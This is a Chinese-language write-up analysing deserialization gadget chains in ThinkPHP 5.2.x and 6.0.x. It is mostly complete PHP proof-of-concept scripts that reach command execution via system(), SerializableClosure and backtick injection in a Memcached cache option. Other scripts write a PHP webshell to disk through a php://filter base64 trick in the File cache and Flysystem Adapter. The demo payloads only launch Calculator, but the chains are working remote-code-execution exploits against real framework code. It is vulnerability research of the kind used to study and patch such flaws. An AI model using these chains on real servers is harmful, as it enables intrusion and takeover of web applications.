先记:Thinkphp 5.2.x 反序列化简析
由于官方已删除 framework v5.2.x-dev,导致无法复现环境,只能靠现有文章理解了 https://xz.aliyun.com/t/6619#toc-2
这种方法是利用
think\model\concern\Attribute
类中的getValue方法中可控的一个动态函数调用的点,$closure = $this->withAttr[$fieldName]; //$withAttr、$value可控,令$closure=system, $value = $closure($value, $this->data);//system('ls',$this->data),命令执行
这种方法跟上面基本一样,唯一不同的就是在getValue处利用tp自带的SerializableClosure调用,而不是上面找的system()
\Opis\Closure
可用于序列化匿名函数,使得匿名函数同样可以进行序列化操作。在Opis\Closure\SerializableClosure->__invoke()
中有call_user_func函数,当尝试以调用函数的方式调用一个对象时,__invoke()
方法会被自动调用。call_user_func_array($this->closure, func_get_args());
这意味着我们可以序列化一个匿名函数,然后交由上述的$closure($value, $this->data)
调用,将会触发SerializableClosure.php
的__invoke
执行$func = function(){phpinfo();}; $closure = new \Opis\Closure\SerializableClosure($func); $closure($value, $this->data);// 这里的参数可以不用管
需要可以上传,利用
think\Db.php
中存在__call
实现文件包含getshell
6.0.x 反序列化简析
Gadget i
来源 https://www.anquanke.com/post/id/187393,文章中是利用`checkAllowFields`中509行db 方法中的 name 函数进行字符串转换
实际可以直接利用510行的,由于执行.
连接,更加方便,本文对后者进行分析system
后$data
被置为0
,在进入510行后,会因为进入toArray
下array_merge
合并参数数组时报错退出
利用链类似5.2.x上的__destruct -> __toString
,不过6.x取消了Windows类,需要换一个入口
- 在 Model 和 AbstractCache 下类似的调用了 save 方法,但是后者没有实现,只能看前者
跟入updateData -> checkAllowFields -> db
看到字符串拼接,接下来就是类似之前的流程了,这里选择$this->name
、$this->table
、$this->suffix
都可以,但如果是$table
的话会因为在510行时进入toArray
下array_merge
合并参数数组时,由于509行执行后$data
被置为0,报错退出
poc 编写
为了能进入checkAllowFields
触发__toString
,我们需要考虑绕过中间的返回
根据下图,可知最直接进入的需求为:
$lazySave
= true$data
not empty$exists
= true$force
= true
<?php
namespace think;
abstract class Model {
function __construct(){
$this->lazySave = true;
$this->exists = true;
$this->data = ['sari3l'];
$this->force = true;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model {};
echo base64_encode(serialize(new Pivot()));
之后我们还需要$this->table
存在情况下进行字符串连接,并设置为目标类以及触发Conversion
下的__toString
,但是 Model 就已经继承Conversion
,所以只需要重新生成一个再传入即可
<?php
namespace think;
abstract class Model {
...
function __construct($obj){
...
$this->table = $obj;
}
}
...
class Pivot extends Model {
function __construct($obj){
parent::__construct($obj);
}
}
$obj_1 = new Pivot(null);
echo base64_encode(serialize(new Pivot($obj_1)));
接下来就是在Conversion
中实现动态加载函数,和5.2.x
相似
注意到toArray
中需要控制$data
中的key,以及在getAttr
中从$data
中取对应value,以及最后将通过$withAttr
控制$closure
,同时注意到488行判断了两个key
同才可进入逻辑
简单来说
$withwithAttrkey[$key]
-> 目标方法$data[$key]
-> 目标参数
abstract class Model {
...
private $data = [];
private $withAttr = [];
function __construct($obj){
...
$this->data = ['sari3l' => '/System/Applications/Calculator.app/Contents/MacOS/Calculator'];
$this->withAttr = ["sari3l" => "system"];
}
}
最终 POC
<?php
namespace think;
abstract class Model {
function __construct($obj){
$this->lazySave = true;
$this->exists = true;
$this->data = ['sari3l' => '/System/Applications/Calculator.app/Contents/MacOS/Calculator'];
$this->force = true;
$this->table = $obj;
$this->withAttr = ["sari3l" => "system"];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model {
function __construct($obj){
parent::__construct($obj);
}
}
$obj_1 = new Pivot(null);
echo base64_encode(serialize(new Pivot($obj_1)));
Gadget ii
这里利用的同5.2.x中的第二种方法
\Opis\Closure可用于序列化匿名函数,使得匿名函数同样可以进行序列化操作。这意味着我们可以序列化一个匿名函数,然后交由上述的
$closure($value, $this->data)
调用执行。
当尝试以调用函数的方式调用一个对象时,__invoke()
方法会被自动调用,$closure
又是可控的传入,那么可以直接序列化一个匿名函数在getValue
中触发
只是$closure
那里需要修改,简单改一下 poc 即可,注意加载autoload
文件
namespace think;
require __DIR__ . '/../vendor/autoload.php';
use Opis\Closure\SerializableClosure;
abstract class Model {
...
function __construct($obj){
...
$this->data = ['sari3l' => ''];
$this->withAttr = ["sari3l" => new SerializableClosure(function (){system('/System/Applications/Calculator.app/Contents/MacOS/Calculator');})];
}
...
还需要注意一点,由于此gadget
中$data
并不起到参数作用而只是为了绕过return
,所以由于checkAllowFields
的509行执行db
中存在转换$table
拼接,而510也同样存在$table
转换,导致会触发两次,可以利用$name
实现只触发一次
Gadget iii
前两个都依靠 Model -> __destruct
,这里来看看 AbstractCache -> __destruct
由于AbstractCache
并没有实现save
方法,要看看其子类;如果子类也没有实现,还可看其__call
方法
通过搜索set
方法,我们可以看到Redis
、cache/driver/File
、driver/Memcached
、Memcache
均有类似的逻辑代码
编写 poc
先按照之前的写法,准备进入 serialize 函数
<?php
namespace think\cache\driver;
class Memcached {
protected $options = ['prefix' => '?'];
}
namespace think\filesystem;
use think\cache\driver\Memcached;
class CacheStore {
function __construct(){
$this->autosave = false;
$this->key = '_sari3l';
$this->store = new Memcached();
$this->expire = 0;
}
}
echo base64_encode(serialize(new CacheStore()));
在serialize
中,我们可以通过控制options
执行目标函数,但还需考虑如何控制进入serialize
的$value
了,即控制最后执行的参数
通过下面的调用,可以看到最主要位于最后的
- array_flip 交换键值
- array_intersect_key 使用键名比较计算数组的交集 -> 取共同键,取第一个数组中对应值,组成新数组返回
在shell里面,
`
的优先级是高于"
的,所以会先执行whoami然后再将执行结果拼接成一个新的命令
php > system('{"1":"`whoami`"}');
sh: {1:sariel.d}: command not found
因此我们只需要保证目标语句在返回数据中存在即可,由于优先级问题,不用考虑数据是否合法
交换键值后,$cachedProperties = ['path' => 0, ...]
,因为array_intersect_key会在第一个参数中取值,所以只要保证$object = ['path' => '`<command>`']
即可
最终 POC
<?php
namespace think\cache\driver;
class Memcached {
protected $options = ['prefix' => 'author', 'serialize' => ['system']];
}
namespace think\filesystem;
use think\cache\driver\Memcached;
class CacheStore {
function __construct(){
$this->autosave = false;
$this->key = '_sari3l';
$this->store = new Memcached();
$this->expire = 0;
$this->cache = [['path' => '`/System/Applications/Calculator.app/Contents/MacOS/Calculator`']];
}
}
echo base64_encode(serialize(new CacheStore()));
Gadget iv
在Gadget iii
中利用的think\cache\driver\Memcached
而在cache/driver/File
中除了同 iii 中的直接利用方式,还可以直接写shell
主要利用两点:
在 getForStorage 中 json_encode 实现拼接
利用php伪协议转义写入文件内容,而且同时用于可以绕过
exit()
,(测试$cache
直接明文payload,$this->cache
会直接为空,可能有过滤但未注意)
需要注意的两点
$data
会经过serialize
可执行任意方法,为了保持原有字符串内容,这里选择serialize
或其他函数- 要控制
$complete
内容将最终写入$data
前部分内容长度为 4 的倍数,以便正常执行base64解码
最终 POC
<?php
namespace think\cache\driver;
class File {
protected $options = [
'prefix' => false,
'hash_type' => 'md5',
'cache_subdir' => false,
'path' => 'php://filter/convert.base64-decode/resource=/tmp/',
'data_compress' => false,
'serialize' => ['serialize'],
];
}
namespace think\filesystem;
use think\cache\driver\File;
class CacheStore {
function __construct() {
$this->autosave = false;
$this->expire = 0;
$this->key = '_sari3l';
$this->store = new File();
$this->cache = [];
$this->complete = 'PD9waHAgZWNobyAic2FyaTNsIjsgPz4K';
}
}
echo base64_encode(serialize(new CacheStore()));
Gadget vi + i
类似写入还有:Adapter
这个很简单,不想写分析了,直接上 POC
唯一的问题,不知道我本地原因还是怎么,$cache
和$complete
中不能明文带 php payload,否则直接为空?
<?php
namespace League\Flysystem\Adapter;
class Local{
function __construct() {
$this->pathPrefix = '/';
}
}
namespace League\Flysystem\Cached\Storage;
use League\Flysystem\Adapter\Local;
class Adapter{
function __construct() {
$this->autosave = false;
$this->adapter = new Local();
$this->cache = [];
$this->file = '/tmp/sari3l.php';
$this->complete = "_sari3l";
}
}
echo base64_encode(serialize(new Adapter()));